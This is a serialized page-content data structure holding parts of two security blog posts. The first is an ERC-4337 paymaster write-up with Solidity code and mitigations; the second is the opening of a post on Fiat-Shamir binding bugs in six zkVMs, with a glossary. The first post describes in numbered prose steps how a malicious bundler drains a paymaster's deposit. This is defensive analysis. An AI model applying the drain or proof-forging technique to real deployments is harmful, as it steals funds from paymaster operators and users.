",{"type":25,"tag":201,"props":108284,"children":108285},{"style":261},[108286],{"type":31,"value":4661},{"type":25,"tag":201,"props":108288,"children":108289},{"style":220},[108290],{"type":31,"value":108216},{"type":25,"tag":201,"props":108292,"children":108293},{"style":261},[108294],{"type":31,"value":5832},{"type":25,"tag":201,"props":108296,"children":108297},{"style":220},[108298],{"type":31,"value":108282},{"type":25,"tag":201,"props":108300,"children":108301},{"style":261},[108302],{"type":31,"value":5997},{"type":25,"tag":201,"props":108304,"children":108305},{"style":220},[108306],{"type":31,"value":108282},{"type":25,"tag":201,"props":108308,"children":108309},{"style":261},[108310],{"type":31,"value":5832},{"type":25,"tag":201,"props":108312,"children":108313},{"style":220},[108314],{"type":31,"value":108315}," costInToken;\n",{"type":25,"tag":201,"props":108317,"children":108318},{"class":203,"line":667},[108319],{"type":25,"tag":201,"props":108320,"children":108321},{"emptyLinePlaceholder":17},[108322],{"type":31,"value":496},{"type":25,"tag":201,"props":108324,"children":108325},{"class":203,"line":676},[108326,108331,108335],{"type":25,"tag":201,"props":108327,"children":108328},{"style":220},[108329],{"type":31,"value":108330},"        SafeTransferLib.",{"type":25,"tag":201,"props":108332,"children":108333},{"style":214},[108334],{"type":31,"value":104722},{"type":25,"tag":201,"props":108336,"children":108337},{"style":220},[108338],{"type":31,"value":4970},{"type":25,"tag":201,"props":108340,"children":108341},{"class":203,"line":694},[108342],{"type":25,"tag":201,"props":108343,"children":108344},{"style":220},[108345],{"type":31,"value":108346},"            ctx.token,\n",{"type":25,"tag":201,"props":108348,"children":108349},{"class":203,"line":707},[108350,108354,108358,108362,108366,108371,108375],{"type":25,"tag":201,"props":108351,"children":108352},{"style":220},[108353],{"type":31,"value":108273},{"type":25,"tag":201,"props":108355,"children":108356},{"style":261},[108357],{"type":31,"value":1342},{"type":25,"tag":201,"props":108359,"children":108360},{"style":220},[108361],{"type":31,"value":108282},{"type":25,"tag":201,"props":108363,"children":108364},{"style":261},[108365],{"type":31,"value":4661},{"type":25,"tag":201,"props":108367,"children":108368},{"style":220},[108369],{"type":31,"value":108370}," ctx.sender ",{"type":25,"tag":201,"props":108372,"children":108373},{"style":261},[108374],{"type":31,"value":5997},{"type":25,"tag":201,"props":108376,"children":108377},{"style":220},[108378],{"type":31,"value":108379}," ctx.treasury,\n",{"type":25,"tag":201,"props":108381,"children":108382},{"class":203,"line":715},[108383,108387,108391,108395,108399,108404,108408],{"type":25,"tag":201,"props":108384,"children":108385},{"style":220},[108386],{"type":31,"value":108273},{"type":25,"tag":201,"props":108388,"children":108389},{"style":261},[108390],{"type":31,"value":1342},{"type":25,"tag":201,"props":108392,"children":108393},{"style":220},[108394],{"type":31,"value":108282},{"type":25,"tag":201,"props":108396,"children":108397},{"style":261},[108398],{"type":31,"value":4661},{"type":25,"tag":201,"props":108400,"children":108401},{"style":220},[108402],{"type":31,"value":108403}," ctx.treasury ",{"type":25,"tag":201,"props":108405,"children":108406},{"style":261},[108407],{"type":31,"value":5997},{"type":25,"tag":201,"props":108409,"children":108410},{"style":220},[108411],{"type":31,"value":108412}," ctx.sender,\n",{"type":25,"tag":201,"props":108414,"children":108415},{"class":203,"line":732},[108416],{"type":25,"tag":201,"props":108417,"children":108418},{"style":220},[108419],{"type":31,"value":108420},"            absoluteCostInToken\n",{"type":25,"tag":201,"props":108422,"children":108423},{"class":203,"line":749},[108424],{"type":25,"tag":201,"props":108425,"children":108426},{"style":220},[108427],{"type":31,"value":9252},{"type":25,"tag":201,"props":108429,"children":108430},{"class":203,"line":757},[108431],{"type":25,"tag":201,"props":108432,"children":108433},{"emptyLinePlaceholder":17},[108434],{"type":31,"value":496},{"type":25,"tag":201,"props":108436,"children":108437},{"class":203,"line":765},[108438,108442,108447,108451,108456,108460,108465,108469,108474],{"type":25,"tag":201,"props":108439,"children":108440},{"style":4925},[108441],{"type":31,"value":91093},{"type":25,"tag":201,"props":108443,"children":108444},{"style":220},[108445],{"type":31,"value":108446}," preFundInToken ",{"type":25,"tag":201,"props":108448,"children":108449},{"style":261},[108450],{"type":31,"value":1383},{"type":25,"tag":201,"props":108452,"children":108453},{"style":220},[108454],{"type":31,"value":108455}," (ctx.preFund ",{"type":25,"tag":201,"props":108457,"children":108458},{"style":261},[108459],{"type":31,"value":6077},{"type":25,"tag":201,"props":108461,"children":108462},{"style":220},[108463],{"type":31,"value":108464}," ctx.exchangeRate) ",{"type":25,"tag":201,"props":108466,"children":108467},{"style":261},[108468],{"type":31,"value":6087},{"type":25,"tag":201,"props":108470,"children":108471},{"style":426},[108472],{"type":31,"value":108473}," 1e18",{"type":25,"tag":201,"props":108475,"children":108476},{"style":220},[108477],{"type":31,"value":461},{"type":25,"tag":201,"props":108479,"children":108480},{"class":203,"line":783},[108481],{"type":25,"tag":201,"props":108482,"children":108483},{"emptyLinePlaceholder":17},[108484],{"type":31,"value":496},{"type":25,"tag":201,"props":108486,"children":108487},{"class":203,"line":792},[108488,108492,108497,108501,108505,108509,108513,108517,108521,108525,108529],{"type":25,"tag":201,"props":108489,"children":108490},{"style":230},[108491],{"type":31,"value":4779},{"type":25,"tag":201,"props":108493,"children":108494},{"style":220},[108495],{"type":31,"value":108496}," (ctx.recipient ",{"type":25,"tag":201,"props":108498,"children":108499},{"style":261},[108500],{"type":31,"value":17184},{"type":25,"tag":201,"props":108502,"children":108503},{"style":4925},[108504],{"type":31,"value":7758},{"type":25,"tag":201,"props":108506,"children":108507},{"style":220},[108508],{"type":31,"value":298},{"type":25,"tag":201,"props":108510,"children":108511},{"style":426},[108512],{"type":31,"value":429},{"type":25,"tag":201,"props":108514,"children":108515},{"style":220},[108516],{"type":31,"value":385},{"type":25,"tag":201,"props":108518,"children":108519},{"style":261},[108520],{"type":31,"value":74279},{"type":25,"tag":201,"props":108522,"children":108523},{"style":220},[108524],{"type":31,"value":108446},{"type":25,"tag":201,"props":108526,"children":108527},{"style":261},[108528],{"type":31,"value":1342},{"type":25,"tag":201,"props":108530,"children":108531},{"style":220},[108532],{"type":31,"value":108533}," costInToken) {\n",{"type":25,"tag":201,"props":108535,"children":108536},{"class":203,"line":801},[108537,108542,108546,108551,108555],{"type":25,"tag":201,"props":108538,"children":108539},{"style":220},[108540],{"type":31,"value":108541},"            SafeTransferLib.",{"type":25,"tag":201,"props":108543,"children":108544},{"style":214},[108545],{"type":31,"value":104722},{"type":25,"tag":201,"props":108547,"children":108548},{"style":220},[108549],{"type":31,"value":108550},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":25,"tag":201,"props":108552,"children":108553},{"style":261},[108554],{"type":31,"value":5832},{"type":25,"tag":201,"props":108556,"children":108557},{"style":220},[108558],{"type":31,"value":108559}," costInToken);\n",{"type":25,"tag":201,"props":108561,"children":108562},{"class":203,"line":809},[108563],{"type":25,"tag":201,"props":108564,"children":108565},{"style":220},[108566],{"type":31,"value":4853},{"type":25,"tag":201,"props":108568,"children":108569},{"class":203,"line":857},[108570],{"type":25,"tag":201,"props":108571,"children":108572},{"emptyLinePlaceholder":17},[108573],{"type":31,"value":496},{"type":25,"tag":201,"props":108575,"children":108576},{"class":203,"line":865},[108577,108582,108586],{"type":25,"tag":201,"props":108578,"children":108579},{"style":230},[108580],{"type":31,"value":108581},"        emit",{"type":25,"tag":201,"props":108583,"children":108584},{"style":214},[108585],{"type":31,"value":105456},{"type":25,"tag":201,"props":108587,"children":108588},{"style":220},[108589],{"type":31,"value":108590},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":25,"tag":201,"props":108592,"children":108593},{"class":203,"line":931},[108594],{"type":25,"tag":201,"props":108595,"children":108596},{"style":220},[108597],{"type":31,"value":4861},{"type":25,"tag":34,"props":108599,"children":108600},{},[108601,108603,108608,108610,108616,108618,108624,108626,108631,108633,108638],{"type":31,"value":108602},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":25,"tag":115,"props":108604,"children":108606},{"className":108605},[],[108607],{"type":31,"value":104722},{"type":31,"value":108609},". Note that ",{"type":25,"tag":115,"props":108611,"children":108613},{"className":108612},[],[108614],{"type":31,"value":108615},"preFundCharged",{"type":31,"value":108617}," can be zero, as users can opt out of any ",{"type":25,"tag":115,"props":108619,"children":108621},{"className":108620},[],[108622],{"type":31,"value":108623},"preFund",{"type":31,"value":108625}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":25,"tag":115,"props":108627,"children":108629},{"className":108628},[],[108630],{"type":31,"value":105523},{"type":31,"value":108632}," call inside ",{"type":25,"tag":115,"props":108634,"children":108636},{"className":108635},[],[108637],{"type":31,"value":106607},{"type":31,"value":108639}," will revert and the paymaster won't be able to collect payment from the user.",{"type":25,"tag":34,"props":108641,"children":108642},{},[108643,108645,108650,108652,108658,108660,108666],{"type":31,"value":108644},"However, even when ",{"type":25,"tag":115,"props":108646,"children":108648},{"className":108647},[],[108649],{"type":31,"value":105523},{"type":31,"value":108651}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":25,"tag":115,"props":108653,"children":108655},{"className":108654},[],[108656],{"type":31,"value":108657},"requiredPrefund",{"type":31,"value":108659}," was taken from the paymaster's ",{"type":25,"tag":71,"props":108661,"children":108664},{"href":108662,"rel":108663},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[75],[108665],{"type":31,"value":63043},{"type":31,"value":80},{"type":25,"tag":34,"props":108668,"children":108669},{},[108670,108672,108677],{"type":31,"value":108671},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":25,"tag":115,"props":108673,"children":108675},{"className":108674},[],[108676],{"type":31,"value":105523},{"type":31,"value":108678}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":25,"tag":6944,"props":108680,"children":108681},{},[108682,108700,108719,108730,108735],{"type":25,"tag":6948,"props":108683,"children":108684},{},[108685,108687,108692,108694],{"type":31,"value":108686},"The bundler creates a ",{"type":25,"tag":115,"props":108688,"children":108690},{"className":108689},[],[108691],{"type":31,"value":103266},{"type":31,"value":108693}," with an intentionally high ",{"type":25,"tag":115,"props":108695,"children":108697},{"className":108696},[],[108698],{"type":31,"value":108699},"gasPrice",{"type":25,"tag":6948,"props":108701,"children":108702},{},[108703,108705,108710,108712,108717],{"type":31,"value":108704},"The bundler ensures the ",{"type":25,"tag":115,"props":108706,"children":108708},{"className":108707},[],[108709],{"type":31,"value":105523},{"type":31,"value":108711}," call will fail by revoking the paymaster's token allowance before ",{"type":25,"tag":115,"props":108713,"children":108715},{"className":108714},[],[108716],{"type":31,"value":105523},{"type":31,"value":108718}," executes",{"type":25,"tag":6948,"props":108720,"children":108721},{},[108722,108723,108728],{"type":31,"value":64435},{"type":25,"tag":115,"props":108724,"children":108726},{"className":108725},[],[108727],{"type":31,"value":105523},{"type":31,"value":108729}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":25,"tag":6948,"props":108731,"children":108732},{},[108733],{"type":31,"value":108734},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":25,"tag":6948,"props":108736,"children":108737},{},[108738],{"type":31,"value":108739},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":25,"tag":34,"props":108741,"children":108742},{},[108743,108745,108750,108752,108757],{"type":31,"value":108744},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":25,"tag":115,"props":108746,"children":108748},{"className":108747},[],[108749],{"type":31,"value":103295},{"type":31,"value":108751}," designed to fail during ",{"type":25,"tag":115,"props":108753,"children":108755},{"className":108754},[],[108756],{"type":31,"value":105523},{"type":31,"value":108758}," while maximizing the gas costs they can charge to the paymaster.",{"type":25,"tag":34,"props":108760,"children":108761},{},[108762,108764,108769,108771,108776,108778,108784,108786,108791],{"type":31,"value":108763},"Some paymasters try to protect against this by simulating the ",{"type":25,"tag":115,"props":108765,"children":108767},{"className":108766},[],[108768],{"type":31,"value":103266},{"type":31,"value":108770}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":25,"tag":115,"props":108772,"children":108774},{"className":108773},[],[108775],{"type":31,"value":103266},{"type":31,"value":108777}," is submitted via ",{"type":25,"tag":115,"props":108779,"children":108781},{"className":108780},[],[108782],{"type":31,"value":108783},"handleOps",{"type":31,"value":108785},". This means the ",{"type":25,"tag":115,"props":108787,"children":108789},{"className":108788},[],[108790],{"type":31,"value":105523},{"type":31,"value":108792}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":25,"tag":34,"props":108794,"children":108795},{},[108796],{"type":31,"value":108797},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":25,"tag":34,"props":108799,"children":108800},{},[108801],{"type":31,"value":108802},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":25,"tag":34,"props":108804,"children":108805},{},[108806],{"type":31,"value":108807},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":25,"tag":4321,"props":108809,"children":108810},{"id":4323},[108811],{"type":31,"value":4326},{"type":25,"tag":34,"props":108813,"children":108814},{},[108815],{"type":31,"value":108816},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":25,"tag":6944,"props":108818,"children":108819},{},[108820,108825,108830,108835,108840],{"type":25,"tag":6948,"props":108821,"children":108822},{},[108823],{"type":31,"value":108824},"Always collect full payment during validation, not after execution",{"type":25,"tag":6948,"props":108826,"children":108827},{},[108828],{"type":31,"value":108829},"Be conservative with gas estimations and include safety margins",{"type":25,"tag":6948,"props":108831,"children":108832},{},[108833],{"type":31,"value":108834},"Carefully validate all user inputs and token transfers",{"type":25,"tag":6948,"props":108836,"children":108837},{},[108838],{"type":31,"value":108839},"Test extensively, including simulation of malicious behavior",{"type":25,"tag":6948,"props":108841,"children":108842},{},[108843,108845,108850],{"type":31,"value":108844},"Always review changes in new ",{"type":25,"tag":115,"props":108846,"children":108848},{"className":108847},[],[108849],{"type":31,"value":103347},{"type":31,"value":108851}," versions, as they may impact your paymaster's design and security assumptions",{"type":25,"tag":34,"props":108853,"children":108854},{},[108855,108857,108862,108864,108869,108871,108876],{"type":31,"value":108856},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":25,"tag":115,"props":108858,"children":108860},{"className":108859},[],[108861],{"type":31,"value":103347},{"type":31,"value":108863}," contract's behavior could potentially break existing ",{"type":25,"tag":115,"props":108865,"children":108867},{"className":108866},[],[108868],{"type":31,"value":103419},{"type":31,"value":108870}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":25,"tag":115,"props":108872,"children":108874},{"className":108873},[],[108875],{"type":31,"value":103347},{"type":31,"value":108877}," versions.",{"type":25,"tag":34,"props":108879,"children":108880},{},[108881],{"type":31,"value":108882},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":25,"tag":34,"props":108884,"children":108885},{},[108886],{"type":31,"value":108887},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":25,"tag":4349,"props":108889,"children":108890},{},[108891],{"type":31,"value":4353},{"title":7,"searchDepth":226,"depth":226,"links":108893},[108894,108895,108896,108903,108908,108909],{"id":103181,"depth":226,"text":103184},{"id":103197,"depth":226,"text":103200},{"id":103236,"depth":226,"text":103239,"children":108897},[108898,108899,108900,108901,108902],{"id":103259,"depth":278,"text":103266},{"id":103300,"depth":278,"text":103303},{"id":103326,"depth":278,"text":103329},{"id":16224,"depth":278,"text":103347},{"id":103419,"depth":278,"text":103430},{"id":103482,"depth":226,"text":108904,"children":108905},"Understanding the EntryPoint's Flow",[108906,108907],{"id":103538,"depth":278,"text":103541},{"id":103723,"depth":278,"text":103726},{"id":103966,"depth":226,"text":103972},{"id":105566,"depth":226,"text":105572,"children":108910},[108911,108912],{"id":105626,"depth":278,"text":105629},{"id":105686,"depth":278,"text":105689},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":108917,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":108918,"description":108919,"date":108920,"author":108921,"image":108924,"isFeatured":17,"onBlogPage":17,"tags":108926,"body":108928,"_type":4371,"_id":124733,"_source":4373,"_file":124734,"_stem":124735,"_extension":4376},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[108922,108923],"himanshu","valter",{"src":108925,"width":98352,"height":15},"/posts/zkvms-unfaithful-claims/title.png",[108927],"zkVM",{"type":22,"children":108929,"toc":124697},[108930,108935,108977,108990,108993,108999,109004,109132,109135,109141,109147,109152,109184,109332,109337,109460,109471,109482,109505,109516,109521,109554,109562,109567,109570,109576,109581,109587,109592,109597,109605,109623,109764,109769,109775,109868,110602,110670,110681,110689,111163,111169,111608,111948,112101,112106,112994,113150,113156,113248,113253,113838,114288,114364,114370,114375,114444,114454,114470,114480,114541,114960,114992,115002,115177,115182,115192,115792,115980,115998,116001,116007,116012,116020,116052,116414,116419,116504,116507,116513,116521,116526,116529,116535,116540,116548,116556,116564,116572,116605,116613,116621,116712,116963,117290,117298,117328,117498,117824,117829,117834,117851,117854,117859,117864,117876,117888,118479,118491,118503,118510,118518,118530,118538,118553,118558,118838,118857,118952,118971,118987,118990,118996,119001,119006,119013,119021,119028,119036,119049,119067,119527,119629,119634,119639,119655,119658,119664,119669,119681,119692,119697,120087,120094,120102,120127,120147,120403,120414,120433,120817,121163,121393,121552,121712,122280,122285,122311,122314,122320,122325,122332,122340,122353,122425,122436,122444,122454,122462,122473,122747,122836,122865,122868,122873,123007,123019,123026,123031,123184,123210,123217,123225,123230,123296,123301,123691,123778,123794,123797,123803,123808,123814,123914,123973,123978,123984,123989,123997,124002,124008,124013,124018,124024,124029,124032,124038,124044,124049,124054,124059,124064,124069,124072,124078,124241,124246,124249,124254,124265,124582,124587,124611,124616,124634,124639,124642,124648,124653,124658,124668,124673,124683,124693],{"type":25,"tag":34,"props":108931,"children":108932},{},[108933],{"type":31,"value":108934},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":25,"tag":34,"props":108936,"children":108937},{},[108938,108940,108945,108946,108951,108952,108957,108958,108963,108964,108969,108970,108975],{"type":31,"value":108939},"We found six systems where this faithfulness breaks. Across ",{"type":25,"tag":1252,"props":108941,"children":108942},{},[108943],{"type":31,"value":108944},"Jolt",{"type":31,"value":919},{"type":25,"tag":1252,"props":108947,"children":108948},{},[108949],{"type":31,"value":108950},"Nexus",{"type":31,"value":919},{"type":25,"tag":1252,"props":108953,"children":108954},{},[108955],{"type":31,"value":108956},"Cairo-M",{"type":31,"value":919},{"type":25,"tag":1252,"props":108959,"children":108960},{},[108961],{"type":31,"value":108962},"Ceno",{"type":31,"value":919},{"type":25,"tag":1252,"props":108965,"children":108966},{},[108967],{"type":31,"value":108968},"Expander",{"type":31,"value":7996},{"type":25,"tag":1252,"props":108971,"children":108972},{},[108973],{"type":31,"value":108974},"Binius64",{"type":31,"value":108976},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":25,"tag":34,"props":108978,"children":108979},{},[108980,108982,108988],{"type":31,"value":108981},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":25,"tag":71,"props":108983,"children":108985},{"href":108984},"#challenges",[108986],{"type":31,"value":108987},"Challenges",{"type":31,"value":108989}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":25,"tag":20292,"props":108991,"children":108992},{},[],{"type":25,"tag":26,"props":108994,"children":108996},{"id":108995},"jargon-cheat-sheet",[108997],{"type":31,"value":108998},"Jargon Cheat Sheet",{"type":25,"tag":34,"props":109000,"children":109001},{},[109002],{"type":31,"value":109003},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":25,"tag":18183,"props":109005,"children":109006},{},[109007,109017,109027,109037,109047,109057,109067,109077,109087,109097,109107,109117],{"type":25,"tag":6948,"props":109008,"children":109009},{},[109010,109015],{"type":25,"tag":1252,"props":109011,"children":109012},{},[109013],{"type":31,"value":109014},"Fiat-Shamir",{"type":31,"value":109016},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":25,"tag":6948,"props":109018,"children":109019},{},[109020,109025],{"type":25,"tag":1252,"props":109021,"children":109022},{},[109023],{"type":31,"value":109024},"Transcript",{"type":31,"value":109026},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":25,"tag":6948,"props":109028,"children":109029},{},[109030,109035],{"type":25,"tag":1252,"props":109031,"children":109032},{},[109033],{"type":31,"value":109034},"Polynomial Commitment",{"type":31,"value":109036},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":25,"tag":6948,"props":109038,"children":109039},{},[109040,109045],{"type":25,"tag":1252,"props":109041,"children":109042},{},[109043],{"type":31,"value":109044},"Sumcheck",{"type":31,"value":109046},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":25,"tag":6948,"props":109048,"children":109049},{},[109050,109055],{"type":25,"tag":1252,"props":109051,"children":109052},{},[109053],{"type":31,"value":109054},"MLE (Multilinear Extension)",{"type":31,"value":109056},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":25,"tag":6948,"props":109058,"children":109059},{},[109060,109065],{"type":25,"tag":1252,"props":109061,"children":109062},{},[109063],{"type":31,"value":109064},"Lookup / LogUp",{"type":31,"value":109066},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":25,"tag":6948,"props":109068,"children":109069},{},[109070,109075],{"type":25,"tag":1252,"props":109071,"children":109072},{},[109073],{"type":31,"value":109074},"AIR",{"type":31,"value":109076},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":25,"tag":6948,"props":109078,"children":109079},{},[109080,109085],{"type":25,"tag":1252,"props":109081,"children":109082},{},[109083],{"type":31,"value":109084},"STARK",{"type":31,"value":109086},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":25,"tag":6948,"props":109088,"children":109089},{},[109090,109095],{"type":25,"tag":1252,"props":109091,"children":109092},{},[109093],{"type":31,"value":109094},"FRI",{"type":31,"value":109096},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":25,"tag":6948,"props":109098,"children":109099},{},[109100,109105],{"type":25,"tag":1252,"props":109101,"children":109102},{},[109103],{"type":31,"value":109104},"OODS",{"type":31,"value":109106},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":25,"tag":6948,"props":109108,"children":109109},{},[109110,109115],{"type":25,"tag":1252,"props":109111,"children":109112},{},[109113],{"type":31,"value":109114},"GKR",{"type":31,"value":109116},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":25,"tag":6948,"props":109118,"children":109119},{},[109120,109125,109127],{"type":25,"tag":1252,"props":109121,"children":109122},{},[109123],{"type":31,"value":109124},"claimed_sum / opening_claim",{"type":31,"value":109126},": Prover-supplied values that feed into verification equations. ",{"type":25,"tag":1252,"props":109128,"children":109129},{},[109130],{"type":31,"value":109131},"These are the usual suspects for binding bugs.",{"type":25,"tag":20292,"props":109133,"children":109134},{},[],{"type":25,"tag":26,"props":109136,"children":109138},{"id":109137},"what-are-we-even-breaking",[109139],{"type":31,"value":109140},"What Are We Even Breaking?",{"type":25,"tag":40,"props":109142,"children":109144},{"id":109143},"what-is-a-zkvm",[109145],{"type":31,"value":109146},"What is a zkVM?",{"type":25,"tag":34,"props":109148,"children":109149},{},[109150],{"type":31,"value":109151},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":25,"tag":34,"props":109153,"children":109154},{},[109155,109157,109182],{"type":31,"value":109156},"Formally, the verifier is convinced that there exists a valid trace ",{"type":25,"tag":115,"props":109158,"children":109160},{"className":109159},[5485,5486],[109161],{"type":25,"tag":201,"props":109162,"children":109164},{"className":109163},[5491],[109165],{"type":25,"tag":201,"props":109166,"children":109168},{"className":109167,"ariaHidden":5497},[5496],[109169],{"type":25,"tag":201,"props":109170,"children":109172},{"className":109171},[5502],[109173,109177],{"type":25,"tag":201,"props":109174,"children":109176},{"className":109175,"style":23078},[5507],[],{"type":25,"tag":201,"props":109178,"children":109180},{"className":109179,"style":23084},[5513,23083],[109181],{"type":31,"value":7496},{"type":31,"value":109183}," such that:",{"type":25,"tag":34,"props":109185,"children":109186},{},[109187],{"type":25,"tag":115,"props":109188,"children":109190},{"className":109189},[5485,5486],[109191],{"type":25,"tag":201,"props":109192,"children":109194},{"className":109193},[5491],[109195],{"type":25,"tag":201,"props":109196,"children":109198},{"className":109197,"ariaHidden":5497},[5496],[109199,109243,109318],{"type":25,"tag":201,"props":109200,"children":109202},{"className":109201},[5502],[109203,109207,109213,109217,109222,109226,109230,109235,109239],{"type":25,"tag":201,"props":109204,"children":109206},{"className":109205,"style":94046},[5507],[],{"type":25,"tag":201,"props":109208,"children":109210},{"className":109209},[5513],[109211],{"type":31,"value":109212},"∃",{"type":25,"tag":201,"props":109214,"children":109216},{"className":109215,"style":5691},[5593],[],{"type":25,"tag":201,"props":109218,"children":109220},{"className":109219,"style":23084},[5513,23083],[109221],{"type":31,"value":7496},{"type":25,"tag":201,"props":109223,"children":109225},{"className":109224,"style":5691},[5593],[],{"type":25,"tag":201,"props":109227,"children":109229},{"className":109228,"style":5691},[5593],[],{"type":25,"tag":201,"props":109231,"children":109233},{"className":109232},[5696],[109234],{"type":31,"value":5997},{"type":25,"tag":201,"props":109236,"children":109238},{"className":109237,"style":5691},[5593],[],{"type":25,"tag":201,"props":109240,"children":109242},{"className":109241,"style":5691},[5593],[],{"type":25,"tag":201,"props":109244,"children":109246},{"className":109245},[5502],[109247,109251,109262,109267,109272,109277,109281,109286,109291,109295,109300,109305,109309,109314],{"type":25,"tag":201,"props":109248,"children":109250},{"className":109249,"style":5614},[5507],[],{"type":25,"tag":201,"props":109252,"children":109254},{"className":109253},[5513],[109255],{"type":25,"tag":201,"props":109256,"children":109259},{"className":109257},[5513,109258],"mathsf",[109260],{"type":31,"value":109261},"VM",{"type":25,"tag":201,"props":109263,"children":109265},{"className":109264},[23212],[109266],{"type":31,"value":298},{"type":25,"tag":201,"props":109268,"children":109270},{"className":109269,"style":23084},[5513,23083],[109271],{"type":31,"value":23087},{"type":25,"tag":201,"props":109273,"children":109275},{"className":109274},[5625],[109276],{"type":31,"value":5628},{"type":25,"tag":201,"props":109278,"children":109280},{"className":109279,"style":5632},[5593],[],{"type":25,"tag":201,"props":109282,"children":109284},{"className":109283,"style":96151},[5513,23083],[109285],{"type":31,"value":7641},{"type":25,"tag":201,"props":109287,"children":109289},{"className":109288},[5625],[109290],{"type":31,"value":5628},{"type":25,"tag":201,"props":109292,"children":109294},{"className":109293,"style":5632},[5593],[],{"type":25,"tag":201,"props":109296,"children":109298},{"className":109297,"style":23084},[5513,23083],[109299],{"type":31,"value":7496},{"type":25,"tag":201,"props":109301,"children":109303},{"className":109302},[23234],[109304],{"type":31,"value":3073},{"type":25,"tag":201,"props":109306,"children":109308},{"className":109307,"style":5691},[5593],[],{"type":25,"tag":201,"props":109310,"children":109312},{"className":109311},[5696],[109313],{"type":31,"value":23829},{"type":25,"tag":201,"props":109315,"children":109317},{"className":109316,"style":5691},[5593],[],{"type":25,"tag":201,"props":109319,"children":109321},{"className":109320},[5502],[109322,109326],{"type":25,"tag":201,"props":109323,"children":109325},{"className":109324,"style":23078},[5507],[],{"type":25,"tag":201,"props":109327,"children":109330},{"className":109328,"style":109329},[5513,23083],"margin-right:0.22222em;",[109331],{"type":31,"value":7671},{"type":25,"tag":34,"props":109333,"children":109334},{},[109335],{"type":31,"value":109336},"where:",{"type":25,"tag":18183,"props":109338,"children":109339},{},[109340,109370,109400,109430],{"type":25,"tag":6948,"props":109341,"children":109342},{},[109343,109368],{"type":25,"tag":115,"props":109344,"children":109346},{"className":109345},[5485,